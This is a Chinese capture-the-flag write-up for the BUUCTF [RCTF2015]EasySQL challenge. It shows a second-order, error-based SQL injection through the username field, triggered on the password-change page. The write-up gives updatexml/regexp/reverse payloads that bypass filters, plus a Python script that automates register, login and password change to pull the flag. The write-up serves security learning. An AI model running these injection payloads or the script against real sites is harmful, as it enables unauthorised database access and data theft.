BUUCTF:[RCTF2015]EasyS
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc](https://file.cfanz.cn/uploads/png/2023/06/19/20/18d886Pac5.png)
先注册一个用户
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_02](https://file.cfanz.cn/uploads/png/2023/06/19/20/4DWTV6e08R.png)
在注册的时候,fuzz测试发现在username和email中过滤了以下字符:
@
or
and
space(空格)
substr
mid
left
right
handle
没有源码慢慢测试.......登录,发现还有个改密码
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_03](https://file.cfanz.cn/uploads/png/2023/06/19/20/4T007X8fSf.png)
在注册时用户名加些测试字符进去,'mochu7"\
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_php_04](https://file.cfanz.cn/uploads/png/2023/06/19/20/JOfQ43bO0d.png)
然后登录,在修改密码的时候,发现报错了,这样基本确定应该存在二次注入,在注册的时候写入,改密码的地方修改密码后触发导致错误输出,有错误回显就可以使用报错注入
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_05](https://file.cfanz.cn/uploads/png/2023/06/19/20/d76abe89cb.png)
猜测sql执行语句
select * from user where username=" 'mochu7"\ " and password=' 80f26dc7f48fc63a753d8f7d1b5bc507 '构造payload
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#使用||代替or,把每个执行的部分使用括号来代替空格的区分作用
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_06](https://file.cfanz.cn/uploads/png/2023/06/19/20/aeYTL10d1d.png)
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_07](https://file.cfanz.cn/uploads/png/2023/06/19/20/1P1GMJ17b8.png)
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_08](https://file.cfanz.cn/uploads/png/2023/06/19/20/51aW4aLR1I.png)
存在article,flag,users,flag表
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#这里有个坑,flag不在flag表中
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_09](https://file.cfanz.cn/uploads/png/2023/06/19/20/ZaI4SHeS41.png)
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_php_10](https://file.cfanz.cn/uploads/png/2023/06/19/20/Zbd1TdZ9d4.png)
查不出来值,真正的flag在users表中
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_php_11](https://file.cfanz.cn/uploads/png/2023/06/19/20/65fDfME7J6.png)
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#regexp('^r')是MySql的正则,^r匹配开头是r的字段,也就是column_name=real_flag_1s_her
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_php_12](https://file.cfanz.cn/uploads/png/2023/06/19/20/1C67CTH67e.png)
做到这里发现了输出长度限制
username=mochu7"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#这里regexp('^f')的意思是查找字段中f开头的内容,其实就是在找flag{XXXX}
![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_php_13](https://file.cfanz.cn/uploads/png/2023/06/19/20/7Ue4e3d16W.png)
使用reverse()函数把flag逆序出来就可以看到后面的内容了
username=mochu7"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_php_14](https://file.cfanz.cn/uploads/png/2023/06/19/20/6fMO6Q8X71.png)
也可以写个脚本来拿flag,自动化脚本如下:
import requests
url_reg = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/register.php'
url_log = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/login.php'
url_change = 'http://90ff4474-5dd7-447f-9a4e-54211f746fa2.node3.buuoj.cn/changepwd.php'
pre = 'mochu7"'
#逆序闭合
suf = "')))),1))#"
#正序闭合
#suf = "'))),1))#"
s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)
r = requests.session()
def register(name):
data = {
'username' : name,
'password' : '123',
'email' : '123',
}
r.post(url=url_reg, data=data)
def login(name):
data = {
'username' : name,
'password' : '123',
}
r.post(url=url_log, data=data)
def changepwd():
data = {
'oldpass' : '',
'newpass' : '',
}
kk = r.post(url=url_change, data=data)
if 'XPATH' in kk.text:
print(kk.text)
for i in s:
#正序
#paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
#逆序
paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
register(paylaod)
login(paylaod)
changepwd()
#正序payload
#paylaod = pre + "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "'))),1))#"
#逆序payload
#paylaod = pre + "||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + "')))),1))#"![在这里插入图片描述 BUUCTF:[RCTF2015]EasySQL_bc_15](https://file.cfanz.cn/uploads/png/2023/06/19/20/66fUcT0fb4.png)









